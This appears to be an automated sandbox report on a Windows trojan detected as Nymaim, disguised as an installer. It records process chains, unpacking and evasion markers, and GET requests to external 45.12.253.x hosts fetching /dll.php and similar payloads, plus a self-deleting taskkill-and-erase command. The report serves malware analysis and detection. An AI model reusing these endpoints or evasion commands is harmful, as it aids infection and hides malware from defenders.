Source: 1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/?ps
Source: 1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp, 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp, is-2H2P0.tmp, 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-2H2P0.tmp.0.dr, is-U3J98.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/?psU
Source: is-2H2P0.tmp, 00000001.00000002.445963159.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Rec528.exe, 00000002.00000000.355680126.0000000001271000.00000002.00000001.01000000.00000007.sdmp, Rec528.exe.1.dr, is-EJ9G4.tmp.1.dr	String found in binary or memory: https://macrorit.com/disk-wiper-commercial-license-upgrade.html
Source: is-2H2P0.tmp, 00000001.00000002.445963159.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Rec528.exe, 00000002.00000000.355680126.0000000001271000.00000002.00000001.01000000.00000007.sdmp, Rec528.exe.1.dr, is-EJ9G4.tmp.1.dr	String found in binary or memory: https://macrorit.com/free-software.html

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_00401B40 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

2_2_00401B40

Source: global traffic	HTTP traffic detected: GET /advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: OKHost: 45.12.253.56Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /default/stuk.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: OKHost: 45.12.253.72Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /default/puk.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: OKHost: 45.12.253.72Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: BHost: 45.12.253.75Connection: Keep-AliveCache-Control: no-cache

Source: 1ibwQtrqNy.exe, 00000000.00000002.447457062.00000000007BA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 2.2.Rec528.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.3260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Rec528.exe.3260000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.443567321.0000000003260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Source: 1ibwQtrqNy.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00408280	0_2_00408280
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00468C28	1_2_00468C28
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00461280	1_2_00461280
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0043DE40	1_2_0043DE40
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004302D0	1_2_004302D0
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004445B8	1_2_004445B8
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00434864	1_2_00434864
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0047AA90	1_2_0047AA90
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00444B60	1_2_00444B60
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045ADE0	1_2_0045ADE0
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00480F94	1_2_00480F94
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00445258	1_2_00445258
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004132E1	1_2_004132E1
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00463288	1_2_00463288
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00435568	1_2_00435568
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00445664	1_2_00445664
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0042F874	1_2_0042F874
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00457F04	1_2_00457F04
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404490	2_2_00404490
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00409670	2_2_00409670
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004056A0	2_2_004056A0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00406800	2_2_00406800
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00406AA0	2_2_00406AA0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404D40	2_2_00404D40
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00405F40	2_2_00405F40
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00402F20	2_2_00402F20
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00415053	2_2_00415053
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00415285	2_2_00415285
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00422329	2_2_00422329
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00419490	2_2_00419490
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004267D0	2_2_004267D0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404840	2_2_00404840
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_004109D0	2_2_004109D0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0042AB1A	2_2_0042AB1A
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0040CBC0	2_2_0040CBC0
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00421C08	2_2_00421C08
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_0042AC3A	2_2_0042AC3A
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00428CB9	2_2_00428CB9
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00447D2D	2_2_00447D2D
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_00404F20	2_2_00404F20
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_1000E111	2_2_1000E111
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: 2_2_1000FAC0	2_2_1000FAC0

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: String function: 10003100 appears 33 times
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Code function: String function: 0040F960 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 004035DC appears 90 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00408CA0 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00403548 appears 62 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00446194 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00445EC4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 004037CC appears 193 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 0043477C appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00455D54 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00407988 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00455B64 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00451DE8 appears 62 times
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: String function: 00405A9C appears 92 times

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00423C4C NtdllDefWindowProc_A,	1_2_00423C4C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004126A0 NtdllDefWindowProc_A,	1_2_004126A0
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00455514 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	1_2_00455514

Source: is-2H2P0.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-2H2P0.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-2H2P0.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-U3J98.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-U3J98.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-U3J98.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: 1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 1ibwQtrqNy.exe
Source: 1ibwQtrqNy.exe, 00000000.00000003.351264625.00000000021B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6 vs 1ibwQtrqNy.exe
Source: 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs 1ibwQtrqNy.exe
Source: 1ibwQtrqNy.exe, 00000000.00000003.351368763.0000000001FD8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename6 vs 1ibwQtrqNy.exe
Source: 1ibwQtrqNy.exe, 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename" vs 1ibwQtrqNy.exe
Source: 1ibwQtrqNy.exe	Binary or memory string: OriginalFilename" vs 1ibwQtrqNy.exe

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy) 233D846FEB73A38141BDF6C813C7476FA3F66DCD3548338607F3B7CB61CAC730

Source: Rec528.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_PURGEABLE, IMAGE_SCN_MEM_16BIT, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1ibwQtrqNy.exe

Virustotal: Detection: 19%

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

File read: C:\Users\user\Desktop\1ibwQtrqNy.exe

Jump to behavior

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1ibwQtrqNy.exe C:\Users\user\Desktop\1ibwQtrqNy.exe
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process created: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp "C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp" /SL4 $2048E "C:\Users\user\Desktop\1ibwQtrqNy.exe" 1911253 52224
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process created: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe"
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "Rec528.exe" /f & erase "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "Rec528.exe" /f
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Process created: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp "C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp" /SL4 $2048E "C:\Users\user\Desktop\1ibwQtrqNy.exe" 1911253 52224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Process created: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe"	Jump to behavior
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe	Jump to behavior
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "Rec528.exe" /f & erase "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "Rec528.exe" /f	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_0040910C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,6CBC4E70,		0_2_0040910C
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00453D80 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,6CBC4E70,		1_2_00453D80

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Rec528.exe")

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

File created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}

Jump to behavior

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe

File created: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@12/23@0/4

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

2_2_00401B40

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Code function: 1_2_004547A0 GetModuleHandleA,6C8D5550,GetDiskFreeSpaceA,

1_2_004547A0

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_00402C00 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

2_2_00402C00

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Code function: 2_2_00405350 CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,FindCloseChangeNotification,

2_2_00405350

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5972:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Code function: 1_2_0040B090 FindResourceA,FreeResource,

1_2_0040B090

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

File created: C:\Program Files (x86)\FLSCover

Jump to behavior

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Command line argument: `a}{	2_2_00409670
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Command line argument: MFE.	2_2_00409670
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Command line argument: ZK]Z	2_2_00409670
Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe	Command line argument: ZK]Z	2_2_00409670

Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 1ibwQtrqNy.exe

Static file information: File size 2146015 > 1048576

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Unpacked PE file: 2.2.Rec528.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Source: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Unpacked PE file: 2.2.Rec528.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R;.fls528:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00406594 push 004065D1h; ret	0_2_004065C9
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00404159 push eax; ret	0_2_00404195
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00404229 push 00404435h; ret	0_2_0040442D
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_004042AA push 00404435h; ret	0_2_0040442D
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00404327 push 00404435h; ret	0_2_0040442D
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00408BDC push 00408C0Fh; ret	0_2_00408C07
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_0040438C push 00404435h; ret	0_2_0040442D
Source: C:\Users\user\Desktop\1ibwQtrqNy.exe	Code function: 0_2_00407F3C push ecx; mov dword ptr [esp], eax	0_2_00407F41
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00409A20 push 00409A5Dh; ret	1_2_00409A55
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040A107 push ds; ret	1_2_0040A108
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004302D0 push ecx; mov dword ptr [esp], eax	1_2_004302D5
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004063C0 push ecx; mov dword ptr [esp], eax	1_2_004063C1
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004785C8 push 00478673h; ret	1_2_0047866B
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00410798 push ecx; mov dword ptr [esp], edx	1_2_0041079D
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004129F0 push 00412A53h; ret	1_2_00412A4B
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0045AA9C push ecx; mov dword ptr [esp], eax	1_2_0045AAA1
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00450EB4 push 00450EE7h; ret	1_2_00450EDF
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040D0F0 push ecx; mov dword ptr [esp], edx	1_2_0040D0F2
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_00443530 push ecx; mov dword ptr [esp], ecx	1_2_00443534
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004055BD push eax; ret	1_2_004055F9
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040F650 push ecx; mov dword ptr [esp], edx	1_2_0040F652
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040568D push 00405899h; ret	1_2_00405891
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_0040570E push 00405899h; ret	1_2_00405891
Source: C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp	Code function: 1_2_004057F0 push 00405899h; ret	1_2_00405891
